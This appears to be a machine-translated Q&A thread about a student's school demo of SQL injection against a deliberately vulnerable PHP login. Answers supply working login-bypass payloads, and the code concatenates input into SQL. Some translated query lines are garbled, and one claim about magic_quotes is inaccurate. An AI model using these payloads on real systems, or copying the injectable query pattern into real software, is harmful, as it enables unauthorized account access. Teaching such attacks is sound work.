我的SQL注入没有';似乎不起作用


My SQL injection doesn't seem to work?

我必须为学校做一个关于许多不同网络漏洞(SQL、XSS、CSRF等)的项目,我制作了一个非常简单的网站来演示对其的攻击。但由于某些原因,我无法通过攻击登录来使SQL注入工作。

这是一个简单的登录代码:

$query = "SELECT * FROM customer WHERE cMAIL='$cmail' AND cPWD='$cpwd'";
$res = mysql_query($query) or die(mysql_error());
echo $query . mysql_error();
$count = mysql_num_rows($res);
if ($count == 1) {
    echo " Reached target!";
    session_start();
    $_SESSION["cmail"] = $cmail;
    $_SESSION["cpwd"] = $cpwd;
} else {}

很多回声的东西是为了让我可以跟踪注射,看看会发生什么,但它给了我奇怪的结果。

如果我以客户身份登录;用户名:jjones@mit.edu,密码=123abc,它给了我预期的响应:

从客户处选择*,其中cMAIL='jjones@mit.edu'AND cPWD='123abc'已达到目标!

这就是它在浏览器中的回声,只是为了清楚!

会话是为jjones创建的。但如果我这样做:用户名:1'或'1'='1,密码:(空),它会回应这个:

从客户处选择*,其中cMAIL='1'或'1'='1'且cPWD=''

没有任何错误。我回显了$count,它说从数据库中选择了0行。所以注入是合理的,但我没有得到任何基于查询的行。我该如何解决此问题?

您可以生成

SELECT * FROM customer WHERE cMAIL='1' OR '1'='1' LIMIT 0,1;# AND cPWD=''

与用户:

1' OR '1'='1' LIMIT 0,1;#

密码为空。

要绕过登录检查,您应该构建一个符合以下规范的查询:

  1. 限制为仅一行。(限制)
  2. WHERE子句始终为true。(布尔计算)

所以@IgnacioOcampo的解决方案是正确的。

顺便说一句,在SQL注入中有一件事你应该考虑。如果启用了magic_quotes_gpc,PHP将自动将'转换为''

您可以在示例中通过将用户名设置为来演示SQL注入

1' OR 1=1; --

这将使您的最终查询:

SELECT * FROM customer WHERE cMAIL='1' OR 1=1; -- AND cPWD=''

这注释了密码检查。

您必须为密码字段写下一些内容。现在,查询必须将密码匹配为空白(")。

下面这样的东西会让你成为一个聪明的坏人

Username: 1' OR '1' = '1 
Password: doesntmatter' OR '1' = '1

这转化为

SELECT * 
FROM customer 
WHERE cMAIL='1' OR '1'='1' 
   AND cPWD='doesntmatter' OR '1' = '1'